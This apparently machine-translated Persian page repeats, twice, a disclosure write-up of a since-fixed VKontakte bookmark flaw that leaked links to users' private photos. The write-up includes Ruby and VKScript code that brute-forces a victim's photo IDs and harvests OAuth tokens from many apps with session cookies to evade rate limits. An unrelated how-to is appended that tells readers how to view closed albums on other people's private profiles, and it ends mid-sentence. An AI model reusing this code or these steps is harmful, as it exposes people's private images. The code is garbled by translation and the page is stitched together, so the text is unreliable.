• Vk خصوصی. آسیب پذیری VK: دسترسی به پیش نمایش عکس ها از دیالوگ ها و آلبوم های مخفی هر کاربر. نحوه مشاهده عکس ها و آلبوم های خصوصی در VKontakte

    tl;dr

    یک آسیب‌پذیری در بوکمارک‌های VK کشف شد که به دست آوردن پیوندهای مستقیم به عکس‌های خصوصی از پیام‌های شخصی، آلبوم‌های هر کاربر/گروه را ممکن می‌سازد. اسکریپتی نوشته شد که عکس های کاربر را برای مدت مشخصی مرتب می کرد و سپس از طریق این آسیب پذیری، لینک مستقیم تصاویر را دریافت می کرد. به طور خلاصه، این امکان وجود داشت که تمام عکس های دیروز خود را در 1 دقیقه، تمام عکس های بارگذاری شده هفته گذشته در 7 دقیقه، ماه گذشته در 20 دقیقه، سال گذشته در 2 ساعت دریافت کنید. آسیب پذیری در حال حاضر رفع شده است. مدیریت VKontakte جایزه 10 هزار رای پرداخت کرد.


    داستان با تصویری که در یک پیام شخصی در VKontakte برای من ارسال شد آغاز شد. معمولاً اگر چیزی مهم باشد، آن را در فضای ابری آپلود می کنم، اما در مورد من این کار ضروری نبود و تصمیم گرفتم از عملکرد نشانک های Vkontakte استفاده کنم.

    به طور خلاصه در مورد این قابلیت: همه چیزهایی که کاربر دوست دارد به نشانک ها اضافه می شود. همچنین عملکردی برای اضافه کردن دستی پیوند به کاربر و پیوند داخلی "VKontakte" وجود دارد. نکته آخر برای من بسیار جالب به نظر می رسید، زیرا پس از افزودن لینک به عکس، پیش نمایش و متن آن را با نوع موجودیت اضافه شده مشاهده کردم:

    هنگامی که یک پیوند اضافه می شود، سرور آن را تجزیه می کند، سعی می کند بداند به چه موجودی اشاره می کند و اطلاعات مربوط به این شی را از پایگاه داده بازیابی می کند. به عنوان یک قاعده، هنگام نوشتن این نوع عملکرد با شرایط بسیار، احتمال اینکه توسعه دهنده چیزی را فراموش کند بسیار زیاد است. بنابراین، من توان عبور از آنجا را نداشتم و تصمیم گرفتم چند دقیقه وقت بگذارم تا کمی آزمایش کنم.

    در نتیجه موفق شدم چیزی پیدا کنم. هنگام افزودن پیوند به عکس، یادداشت یا ویدیویی که در دسترس نیست، می‌توان اطلاعات خصوصی در مورد آن شی را دریافت کرد. در مورد عکس‌ها و ویدیوها، این یک پیش‌نمایش کوچک (150x150) است که دیدن چیزی در آن بسیار دشوار است، عنوان برای یادداشت‌های خصوصی نمایش داده می‌شود. از طریق روش API fave.getLinksامکان دریافت لینک به تصویر وجود داشت، اما باز هم بسیار کوچک (75 پیکسل و 130 پیکسل). بنابراین اساساً هیچ چیز جدی نیست.

    تصمیم گرفتم به نسخه موبایل سایت بروم تا بررسی کنم که آیا همه چیز در آنجا به همان شکلی که در نسخه معمولی نمایش داده می شود یا خیر. با نگاه کردن به کد صفحه، این را دیدم:

    آره! در مقدار ویژگی data-src_bigیک لینک مستقیم به تصویر اصلی ذخیره شد!

    بنابراین، بدون در نظر گرفتن اینکه کجا آپلود شده است و چه تنظیمات حریم خصوصی دارد، می توان یک پیوند مستقیم به هر تصویر در Vkontakte دریافت کرد. این می تواند تصویری از پیام های خصوصی یا عکسی از آلبوم های خصوصی هر کاربر/گروه باشد.

    به نظر می‌رسد که می‌توان روی این توقف کرد و برای توسعه‌دهندگان نوشت، اما من فکر کردم که آیا می‌توان با سوءاستفاده از این آسیب‌پذیری، به همه عکس‌های کاربر (خوب، یا آپلود شده در یک دوره زمانی معین) دسترسی پیدا کرد. مشکل اصلی در اینجا، همانطور که متوجه شدید، این بود که لینک یک عکس خصوصی از گونه همیشه مشخص نیست. عکسXXXXXX_XXXXXXXبرای نشانک گذاری ایده مرتب سازی از طریق شناسه عکس به ذهنم رسید، اما به دلایلی بلافاصله آن را به عنوان دیوانگی رد کردم. روش‌های مرتبط با عکس‌ها را در API بررسی کردم، به نحوه عملکرد برنامه با آلبوم‌ها نگاه کردم، اما نتونستم هیچ اطلاعاتی را پیدا کنم که بتواند به من کمک کند فهرستی با شناسه‌های همه عکس‌های خصوصی کاربر دریافت کنم. من قبلاً می خواستم این ایده را رها کنم، اما با نگاهی دوباره به پیوند همراه با عکس، ناگهان متوجه شدم که ایده خوبی بود.

    نحوه کار عکس ها در VK

    چگونه می توانید جایگزین، لینک به عکس عکس52708106_359542386از دو بخش تشکیل شده است: (شناسه کاربر)_(عدد عجیب و غریب). قسمت دوم چگونه شکل می گیرد؟

    افسوس، پس از صرف دو ساعت آزمایش، من هنوز این را درک نکردم. در سال 2012، در HighLoad++، اولگ ایلاریونوف چند کلمه در مورد نحوه ذخیره عکس ها، در مورد اشتراک گذاری افقی و انتخاب تصادفی سرور برای بارگذاری گفت، اما این اطلاعات چیزی به من نداد، زیرا هیچ ارتباطی بین شناسه سرور و سرور وجود ندارد. شناسه عکس واضح است که شمارنده جهانی خاصی وجود دارد، اما منطق دیگری در آنجا وجود دارد ... زیرا اگر عدد دوم با استفاده از افزایش خودکار معمول تشکیل می شد، آنگاه مقادیر شناسه های عکس به مقادیر بسیار زیادی می رسیدند. مدت ها پیش (به عنوان مثال، FB در حال حاضر ~ 700 تریلیون است)، اما برای Vkontakte این مقدار فقط 400 میلیون است (اگرچه، با قضاوت بر اساس آمار، روزانهکاربران بیش از 30 میلیون عکس آپلود می کنند). آن ها واضح است که این رقم منحصر به فرد نیست، اما تصادفی نیز نیست. من اسکریپتی نوشتم که عکس‌های کاربران قدیمی را مرور کرد و بر اساس داده‌های دریافتی، نموداری از میزان تغییر این رقم با هر یک تهیه کردم. سال:

    مشاهده می شود که مقادیر بسته به عواملی (تعداد سرورها یا منطق جدید؟) پرش می کنند. اما نکته اصلی این است که آنها بسیار کوچک هستند (مخصوصاً برای 2-3 سال گذشته) و محاسبه محدوده id برای دوره زمانی مورد نظر بسیار آسان است. یعنی برای پیدا کردن لینک‌های مستقیم به عکس‌های کاربر، مثلاً برای سال گذشته، باید سعی کنید فقط 30 میلیون (از _320000000 تا _350000000) تنوع لینک مختلف را نشانه گذاری کنید! در زیر یک تکنیک brute-force را توضیح داده‌ام که به من اجازه داد این کار را در عرض چند دقیقه انجام دهم.

    مرتب سازی از طریق عکس ها

    این امکان وجود داشت که همه اینها را به صورت دستی از طریق رابط اضافه کنید یا یک اسکریپت بنویسید که یک پیوند به بوکمارک ها اضافه کند، اما خسته کننده و طولانی خواهد بود. سرعت جستجو در این مورد 3 نشانک در ثانیه خواهد بود، زیرا ارسال بیش از سه درخواست در ثانیه به سرور Vkontakte ممنوع است.

    افزایش سرعت جستجو x25

    برای اینکه کمی محدودیت 3 درخواست را دور بزنم، تصمیم گرفتم از این روش استفاده کنم اجرا کردن. در یک فراخوانی به این متد، 25 تماس با متدهای API امکان پذیر است.

    Var start = parseInt(Args.start); varend = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + شناسه قربانی + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
    بنابراین، امکان افزایش سرعت brute force تا 3 * 25 نشانک در ثانیه وجود داشت. در طول سال گذشته، عکس‌ها برای مدت طولانی مرتب می‌شدند، اما برای دوره‌های کوتاه این روش مرتب‌سازی قبلاً بسیار خوب بود.

    تسریع تکرار x25 * تعداد درخواست های همزمان در ثانیه

    محدودیت تعداد درخواست ها / ثانیه برای هر برنامه به طور جداگانه اعمال می شود و نه برای کل کاربر. بنابراین هیچ چیز مانع از ارسال چندین درخواست به صورت موازی، اما در عین حال استفاده از توکن های برنامه های مختلف در آنها نمی شود.

    برای شروع، لازم بود تعداد مورد نیاز برنامه را پیدا کنید (یا ایجاد کنید). یک اسکریپت نوشته شد که به دنبال برنامه های مستقل در محدوده معینی از شناسه های برنامه می گردد:

    Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = پایان جستجوی def (@range).each do |app_id| answer = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").خواندن برنامه = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
    همچنین امکان انتخاب برنامه ها بر اساس تعداد کاربران برای تسریع بیشتر در شمارش بیشتر وجود داشت:

    اما من تصمیم گرفتم که با آن کار نکنم.

    خوب، برنامه ها پیدا شدند، اکنون آنها باید به داده های کاربر ما اجازه دهند و توکن ها را دریافت کنند. برای مجوز، مجبور شدم از مکانیزم جریان ضمنی استفاده کنم. مجبور شدم URL مجوز را از گفتگوی OAuth تجزیه کنم و رمز را پس از تغییر مسیر بیرون بکشم. برای کار کردن این کلاس به کوکی ها نیاز است. p, l(login.vk.com) و ریمیکس-ساید(vk.com):

    Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = پایان def autorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url، @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
    چه تعداد برنامه پیدا شد، چه تعداد درخواست موازی. برای موازی کردن کل این موضوع، تصمیم گرفته شد که از سنگ Typhoeus استفاده شود که خود را در کارهای دیگر ثابت کرده است. معلوم شد چنین بیروتفورسر کوچکی است:

    Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "امروز" => 366300000..366500000، "دیروز" => 366050000..366300000، "current_month" => 360.000.000.000. 36000000 0..365000000، "سال_جاری" = > 350000000..366500000، "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_FERIOD:Th. kensIterator = 0 (@period).step(25) |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+"، "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟ پایان hydra.run مگر اینکه hydra.queued_requests.count.zero؟ پایان خصوصی def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
    برای تسریع بیشتر نیروی بی رحم، تلاشی برای خلاص شدن از شر یک بدن غیر ضروری در پاسخ صورت گرفت، اما در سرسرور درخواست "Vkontakte" یک خطا را برمی گرداند 501 اجرا نشد.

    نسخه نهایی اسکریپت به شکل زیر است:

    "nokogiri" به "open-uri" نیاز دارد "typhoeus" به "json" نیاز دارد. apps_finder = StandaloneAppsFinder.new (در محدوده: 4800000..4800500) apps_finder.search # p,l - کوکی‌ها از login.vk.com # remixsid - کوکی‌های vk.com authenticator = Authenticator.new;"(p" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
    پس از انجام برنامه، تمام عکس های کاربر برای یک دوره معین در بوک مارک ها قرار داشتند. تنها باقی مانده است که به نسخه موبایل Vkontakte بروید، کنسول مرورگر را باز کنید، پیوندهای مستقیم را بیرون بکشید و از عکس ها در اندازه اصلی خود لذت ببرید.

    نتایج

    به طور کلی، همه چیز به اتصال اینترنت شما و سرعت سرورهای پروکسی، تأخیر سرورهای Vkontakte، قدرت پردازنده و بسیاری از عوامل دیگر بستگی دارد. پس از آزمایش اسکریپت بالا در حساب خود، اعداد زیر را دریافت کردم (به استثنای زمان صرف شده برای بدست آوردن توکن):

    جدول میانگین زمان لازم برای امتحان شناسه های عکس را در یک دوره معین نشان می دهد. من مطمئن هستم که همه اینها را می توان 10-20 برابر شتاب داد. به عنوان مثال، در یک اسکریپت brute force، یک صف بزرگ از تمام درخواست ها و همگام سازی عادی بین آنها ایجاد کنید، زیرا در اجرای من، یک درخواست با مهلت زمانی کل فرآیند را کند می کند. به هر حال، شما فقط می توانید چند نمونه EC2 بخرید و تمام عکس های هر کاربر را در یک ساعت دریافت کنید. اما من از قبل می خواستم بخوابم.

    و به طور کلی، مهم نیست که مهاجم چقدر زمان صرف می کند، 5 ساعت یا کل روز، زیرا به هر طریقی، لینک هایی به تصاویر خصوصی دریافت می کند. توانایی دستیابی به اطلاعات خصوصی در زمان محدود تهدید اصلی ناشی از این آسیب‌پذیری است.

    گزارش یک آسیب پذیری

    در ابتدا، گزارش به خدمات پشتیبانی ارسال شد، اما پس از پاسخی مانند "متشکرم، احتمالاً به نحوی آن را برطرف خواهیم کرد ..." و یک هفته انتظار، چیزی مرا ناراحت کرد. با تشکر فراوان برای کمک به تماس مستقیم با توسعه دهندگان. پس از آن، باگ‌ها در عرض چند ساعت بسته شدند و چند روز بعد دولت 10 هزار جایزه را به حساب من منتقل کرد.

    tl;dr

    یک آسیب‌پذیری در بوکمارک‌های VK کشف شد که به دست آوردن پیوندهای مستقیم به عکس‌های خصوصی از پیام‌های شخصی، آلبوم‌های هر کاربر/گروه را ممکن می‌سازد. اسکریپتی نوشته شد که عکس های کاربر را برای مدت مشخصی مرتب می کرد و سپس از طریق این آسیب پذیری، لینک مستقیم تصاویر را دریافت می کرد. به طور خلاصه، این امکان وجود داشت که تمام عکس های دیروز خود را در 1 دقیقه، تمام عکس های بارگذاری شده هفته گذشته در 7 دقیقه، ماه گذشته در 20 دقیقه، سال گذشته در 2 ساعت دریافت کنید. آسیب پذیری در حال حاضر رفع شده است. مدیریت VKontakte جایزه 10 هزار رای پرداخت کرد.


    داستان با تصویری که در یک پیام شخصی در VKontakte برای من ارسال شد آغاز شد. معمولاً اگر چیزی مهم باشد، آن را در فضای ابری آپلود می کنم، اما در مورد من این کار ضروری نبود و تصمیم گرفتم از عملکرد نشانک های Vkontakte استفاده کنم.

    به طور خلاصه در مورد این قابلیت: همه چیزهایی که کاربر دوست دارد به نشانک ها اضافه می شود. همچنین عملکردی برای اضافه کردن دستی پیوند به کاربر و پیوند داخلی "VKontakte" وجود دارد. نکته آخر برای من بسیار جالب به نظر می رسید، زیرا پس از افزودن لینک به عکس، پیش نمایش و متن آن را با نوع موجودیت اضافه شده مشاهده کردم:

    هنگامی که یک پیوند اضافه می شود، سرور آن را تجزیه می کند، سعی می کند بداند به چه موجودی اشاره می کند و اطلاعات مربوط به این شی را از پایگاه داده بازیابی می کند. به عنوان یک قاعده، هنگام نوشتن این نوع عملکرد با شرایط بسیار، احتمال اینکه توسعه دهنده چیزی را فراموش کند بسیار زیاد است. بنابراین، من توان عبور از آنجا را نداشتم و تصمیم گرفتم چند دقیقه وقت بگذارم تا کمی آزمایش کنم.

    در نتیجه موفق شدم چیزی پیدا کنم. هنگام افزودن پیوند به عکس، یادداشت یا ویدیویی که در دسترس نیست، می‌توان اطلاعات خصوصی در مورد آن شی را دریافت کرد. در مورد عکس‌ها و ویدیوها، این یک پیش‌نمایش کوچک (150x150) است که دیدن چیزی در آن بسیار دشوار است، عنوان برای یادداشت‌های خصوصی نمایش داده می‌شود. از طریق روش API fave.getLinksامکان دریافت لینک به تصویر وجود داشت، اما باز هم بسیار کوچک (75 پیکسل و 130 پیکسل). بنابراین اساساً هیچ چیز جدی نیست.

    تصمیم گرفتم به نسخه موبایل سایت بروم تا بررسی کنم که آیا همه چیز در آنجا به همان شکلی که در نسخه معمولی نمایش داده می شود یا خیر. با نگاه کردن به کد صفحه، این را دیدم:

    آره! در مقدار ویژگی data-src_bigیک لینک مستقیم به تصویر اصلی ذخیره شد!

    بنابراین، بدون در نظر گرفتن اینکه کجا آپلود شده است و چه تنظیمات حریم خصوصی دارد، می توان یک پیوند مستقیم به هر تصویر در Vkontakte دریافت کرد. این می تواند تصویری از پیام های خصوصی یا عکسی از آلبوم های خصوصی هر کاربر/گروه باشد.

    به نظر می‌رسد که می‌توان روی این توقف کرد و برای توسعه‌دهندگان نوشت، اما من فکر کردم که آیا می‌توان با سوءاستفاده از این آسیب‌پذیری، به همه عکس‌های کاربر (خوب، یا آپلود شده در یک دوره زمانی معین) دسترسی پیدا کرد. مشکل اصلی در اینجا، همانطور که متوجه شدید، این بود که لینک یک عکس خصوصی از گونه همیشه مشخص نیست. عکسXXXXXX_XXXXXXXبرای نشانک گذاری ایده مرتب سازی از طریق شناسه عکس به ذهنم رسید، اما به دلایلی بلافاصله آن را به عنوان دیوانگی رد کردم. روش‌های مرتبط با عکس‌ها را در API بررسی کردم، به نحوه عملکرد برنامه با آلبوم‌ها نگاه کردم، اما نتونستم هیچ اطلاعاتی را پیدا کنم که بتواند به من کمک کند فهرستی با شناسه‌های همه عکس‌های خصوصی کاربر دریافت کنم. من قبلاً می خواستم این ایده را رها کنم، اما با نگاهی دوباره به پیوند همراه با عکس، ناگهان متوجه شدم که ایده خوبی بود.

    نحوه کار عکس ها در VK

    چگونه می توانید جایگزین، لینک به عکس عکس52708106_359542386از دو بخش تشکیل شده است: (شناسه کاربر)_(عدد عجیب و غریب). قسمت دوم چگونه شکل می گیرد؟

    افسوس، پس از صرف دو ساعت آزمایش، من هنوز این را درک نکردم. در سال 2012، در HighLoad++، اولگ ایلاریونوف چند کلمه در مورد نحوه ذخیره عکس ها، در مورد اشتراک گذاری افقی و انتخاب تصادفی سرور برای بارگذاری گفت، اما این اطلاعات چیزی به من نداد، زیرا هیچ ارتباطی بین شناسه سرور و سرور وجود ندارد. شناسه عکس واضح است که شمارنده جهانی خاصی وجود دارد، اما منطق دیگری در آنجا وجود دارد ... زیرا اگر عدد دوم با استفاده از افزایش خودکار معمول تشکیل می شد، آنگاه مقادیر شناسه های عکس به مقادیر بسیار زیادی می رسیدند. مدت ها پیش (به عنوان مثال، FB در حال حاضر ~ 700 تریلیون است)، اما برای Vkontakte این مقدار فقط 400 میلیون است (اگرچه، با قضاوت بر اساس آمار، روزانهکاربران بیش از 30 میلیون عکس آپلود می کنند). آن ها واضح است که این رقم منحصر به فرد نیست، اما تصادفی نیز نیست. من اسکریپتی نوشتم که عکس‌های کاربران قدیمی را مرور کرد و بر اساس داده‌های دریافتی، نموداری از میزان تغییر این رقم با هر یک تهیه کردم. سال:

    مشاهده می شود که مقادیر بسته به عواملی (تعداد سرورها یا منطق جدید؟) پرش می کنند. اما نکته اصلی این است که آنها بسیار کوچک هستند (مخصوصاً برای 2-3 سال گذشته) و محاسبه محدوده id برای دوره زمانی مورد نظر بسیار آسان است. یعنی برای پیدا کردن لینک‌های مستقیم به عکس‌های کاربر، مثلاً برای سال گذشته، باید سعی کنید فقط 30 میلیون (از _320000000 تا _350000000) تنوع لینک مختلف را نشانه گذاری کنید! در زیر یک تکنیک brute-force را توضیح داده‌ام که به من اجازه داد این کار را در عرض چند دقیقه انجام دهم.

    مرتب سازی از طریق عکس ها

    این امکان وجود داشت که همه اینها را به صورت دستی از طریق رابط اضافه کنید یا یک اسکریپت بنویسید که یک پیوند به بوکمارک ها اضافه کند، اما خسته کننده و طولانی خواهد بود. سرعت جستجو در این مورد 3 نشانک در ثانیه خواهد بود، زیرا ارسال بیش از سه درخواست در ثانیه به سرور Vkontakte ممنوع است.

    افزایش سرعت جستجو x25

    برای اینکه کمی محدودیت 3 درخواست را دور بزنم، تصمیم گرفتم از این روش استفاده کنم اجرا کردن. در یک فراخوانی به این متد، 25 تماس با متدهای API امکان پذیر است.

    Var start = parseInt(Args.start); varend = parseInt(Args.end); var viktimaId = Args.id; var link = "http://vk.com/photo" + شناسه قربانی + "_"; while(start != end) ( API.fave.addLink(( "link": link + start )); start = start + 1; );
    بنابراین، امکان افزایش سرعت brute force تا 3 * 25 نشانک در ثانیه وجود داشت. در طول سال گذشته، عکس‌ها برای مدت طولانی مرتب می‌شدند، اما برای دوره‌های کوتاه این روش مرتب‌سازی قبلاً بسیار خوب بود.

    تسریع تکرار x25 * تعداد درخواست های همزمان در ثانیه

    محدودیت تعداد درخواست ها / ثانیه برای هر برنامه به طور جداگانه اعمال می شود و نه برای کل کاربر. بنابراین هیچ چیز مانع از ارسال چندین درخواست به صورت موازی، اما در عین حال استفاده از توکن های برنامه های مختلف در آنها نمی شود.

    برای شروع، لازم بود تعداد مورد نیاز برنامه را پیدا کنید (یا ایجاد کنید). یک اسکریپت نوشته شد که به دنبال برنامه های مستقل در محدوده معینی از شناسه های برنامه می گردد:

    Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = پایان جستجوی def (@range).each do |app_id| answer = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").خواندن برنامه = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
    همچنین امکان انتخاب برنامه ها بر اساس تعداد کاربران برای تسریع بیشتر در شمارش بیشتر وجود داشت:

    اما من تصمیم گرفتم که با آن کار نکنم.

    خوب، برنامه ها پیدا شدند، اکنون آنها باید به داده های کاربر ما اجازه دهند و توکن ها را دریافت کنند. برای مجوز، مجبور شدم از مکانیزم جریان ضمنی استفاده کنم. مجبور شدم URL مجوز را از گفتگوی OAuth تجزیه کنم و رمز را پس از تغییر مسیر بیرون بکشم. برای کار کردن این کلاس به کوکی ها نیاز است. p, l(login.vk.com) و ریمیکس-ساید(vk.com):

    Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Cookie" => cookie_header ) @access_tokens = پایان def autorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url، @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
    چه تعداد برنامه پیدا شد، چه تعداد درخواست موازی. برای موازی کردن کل این موضوع، تصمیم گرفته شد که از سنگ Typhoeus استفاده شود که خود را در کارهای دیگر ثابت کرده است. معلوم شد چنین بیروتفورسر کوچکی است:

    Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "امروز" => 366300000..366500000، "دیروز" => 366050000..366300000، "current_month" => 360.000.000.000. 36000000 0..365000000، "سال_جاری" = > 350000000..366500000، "last_year" => 320000000..350000000 ) def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_FERIOD:Th. kensIterator = 0 (@period).step(25) |photo_id| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+"، "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero؟ پایان hydra.run مگر اینکه hydra.queued_requests.count.zero؟ پایان خصوصی def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
    برای تسریع بیشتر نیروی بی رحم، تلاشی برای خلاص شدن از شر یک بدن غیر ضروری در پاسخ صورت گرفت، اما در سرسرور درخواست "Vkontakte" یک خطا را برمی گرداند 501 اجرا نشد.

    نسخه نهایی اسکریپت به شکل زیر است:

    "nokogiri" به "open-uri" نیاز دارد "typhoeus" به "json" نیاز دارد. apps_finder = StandaloneAppsFinder.new (در محدوده: 4800000..4800500) apps_finder.search # p,l - کوکی‌ها از login.vk.com # remixsid - کوکی‌های vk.com authenticator = Authenticator.new;"(p" =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
    پس از انجام برنامه، تمام عکس های کاربر برای یک دوره معین در بوک مارک ها قرار داشتند. تنها باقی مانده است که به نسخه موبایل Vkontakte بروید، کنسول مرورگر را باز کنید، پیوندهای مستقیم را بیرون بکشید و از عکس ها در اندازه اصلی خود لذت ببرید.

    نتایج

    به طور کلی، همه چیز به اتصال اینترنت شما و سرعت سرورهای پروکسی، تأخیر سرورهای Vkontakte، قدرت پردازنده و بسیاری از عوامل دیگر بستگی دارد. پس از آزمایش اسکریپت بالا در حساب خود، اعداد زیر را دریافت کردم (به استثنای زمان صرف شده برای بدست آوردن توکن):

    جدول میانگین زمان لازم برای امتحان شناسه های عکس را در یک دوره معین نشان می دهد. من مطمئن هستم که همه اینها را می توان 10-20 برابر شتاب داد. به عنوان مثال، در یک اسکریپت brute force، یک صف بزرگ از تمام درخواست ها و همگام سازی عادی بین آنها ایجاد کنید، زیرا در اجرای من، یک درخواست با مهلت زمانی کل فرآیند را کند می کند. به هر حال، شما فقط می توانید چند نمونه EC2 بخرید و تمام عکس های هر کاربر را در یک ساعت دریافت کنید. اما من از قبل می خواستم بخوابم.

    و به طور کلی، مهم نیست که مهاجم چقدر زمان صرف می کند، 5 ساعت یا کل روز، زیرا به هر طریقی، لینک هایی به تصاویر خصوصی دریافت می کند. توانایی دستیابی به اطلاعات خصوصی در زمان محدود تهدید اصلی ناشی از این آسیب‌پذیری است.

    گزارش یک آسیب پذیری

    در ابتدا، گزارش به خدمات پشتیبانی ارسال شد، اما پس از پاسخی مانند "متشکرم، احتمالاً به نحوی آن را برطرف خواهیم کرد ..." و یک هفته انتظار، چیزی برای من ناراحت کننده شد. با تشکر فراوان از Bo0oM که به تماس مستقیم با توسعه دهندگان کمک کرد. پس از آن، باگ‌ها در عرض چند ساعت بسته شدند و چند روز بعد دولت 10 هزار جایزه را به حساب من منتقل کرد.

    75 360 158 2

    اغلب اتفاق می افتد که به شدت لازم است به عکس های یک نمایه بسته VK نگاه کنید. همانطور که می دانید، هر کاربری این امکان را دارد که به طور مستقل سطح حریم خصوصی پروفایل خود را انتخاب کند، بنابراین بستن کل آلبوم یا عکس های فردی تنها با چند کلیک انجام می شود. معلوم است که می توانید به عکس های بسته نگاه کنید! ترفندها و "سوراخ" های خاصی وجود دارد که امروز یکی از آنها را به شما خواهیم گفت.

    به خاطر داشته باشید که همه آنها به سرعت بسته می شوند، بنابراین این یک واقعیت نیست که این روش، مانند هر روش دیگری، یک هفته یا یک ماه دیگر معتبر باشد.

    شما نیاز خواهید داشت:

    کد منبع باز

    اول امتحان کن اگر آلبوم ها باز نشد به روش زیر عمل کنید. بنابراین، پروفایل شخصی را که می خواهیم عکس هایش را ببینیم باز کنید. بعد، ما باید این صفحه را منبع باز کنیم.

    برای انجام این کار، بر روی یک منطقه آزاد کلیک راست کرده و در منوی زمینه، به دنبال آیتم "مشاهده کد منبع صفحه"، "مشاهده کد عنصر" یا موارد مشابه بگردید. همچنین اگر گوگل کروم دارید می توانید از کلید F12 استفاده کنید. بنابراین، پیش روی ما کد منبع صفحه است. بعدش چی؟

    به دنبال قطعه مناسب

    با استفاده از کلیدهای ترکیبی Ctrl + F، نوار جستجو را باز کنید و کلمه "آلبوم" را در آنجا وارد کنید.

    چندین نتیجه وجود خواهد داشت، اما ما به یک نتیجه نیاز داریم که با اعداد دنبال شود (این شناسه نمایه است). به عنوان یک قاعده، در شماره این قطعه از ابتدا سوم خواهد بود. پیدا شد؟ عالی است، آنها را با استفاده از میانبر صفحه کلید Ctrl + C کپی کنید.

    کار با نوار آدرس

    بنابراین، ما قطعه کد لازم را داریم. بعدش چی؟ برای مشاهده عکس های مخفی در Vkontakte، به صفحه مورد نیاز برگردید (دیگر به صفحه با کد منبع نیاز نداریم).

    در نوار آدرس مرورگر، پیوندی مانند vk.com/id##### را می‌بینیم که #### شناسه صفحه است. شما باید بشناسید و دوستان. ما مکان نما را در انتهای نوار آدرس قرار می دهیم و کاراکترها را در آن وارد می کنیم: "?z ="، پس از آن قطعه را از کد منبع صفحه ای که به دنبال آن بودیم در اینجا کپی می کنیم.

    در نتیجه، نوار آدرس مرورگر باید حاوی موارد زیر باشد: vk.com/id####?z=albums####، جایی که #### شناسه شخص است.

    Enter را فشار می دهیم و تمام عکس های یک نفر جلوی ما باز می شود.

    به این روش ساده می توانید عکس ها را در یک آلبوم بسته در یک مخاطب مشاهده کنید و همچنین لیستی از آلبوم های افرادی که از دوستان Vkontakte یا کاربران ناآشنا بازنشسته شده اند را مشاهده کنید.

    سوالات متداول

      چگونه یک آلبوم خصوصی کاربر VK را از طریق تلفن تماشا کنیم؟

      دستورالعمل مشاهده مانند رایانه است.

      ویژگی های پنهان VKontakte چیست؟

      1. اگر به بخش "تنظیمات" بروید و در برگه "عمومی" زبان را به پیش از انقلاب یا شوروی تغییر دهید، رابط Vkontakte کمی تغییر می کند.
      2. اگر می خواهید اطلاعاتی در مورد شما در صفحه شخصی شما خالی بماند، کدی را در چنین فیلدهایی اضافه کنید.
      3. می توانید یک پیوند فعال به هر گروه Vkontakte در ستون "محل کار" ایجاد کنید. برای این کار به قسمت «ویرایش» بروید، تب «کار» را انتخاب کنید و در مورد «محل کار» نام انجمنی که در آن عضو هستید را بنویسید.
      4. در قسمت "تنظیمات"، شناسه را می توان به یک آدرس کوتاه و به یاد ماندنی تغییر داد.

      چه سرویسی برای مشاهده عکس های مخفی در تماس؟

      شما باید عکس شخصی را پیدا کنید که در آن علامت گذاری شده است، سپس به مشاهده تسریع شده بروید و در عکس اسکرول کنید. با وجود بسته بودن دسترسی معمولی به آنها، امکان مشاهده آنها وجود خواهد داشت. سرویس فنی هنوز قادر به از بین بردن این "سوراخ" نیست.

      چگونه یک حساب بسته را در VK ببینیم؟

      برای مشاهده یک نمایه خصوصی، شما نیاز دارید:
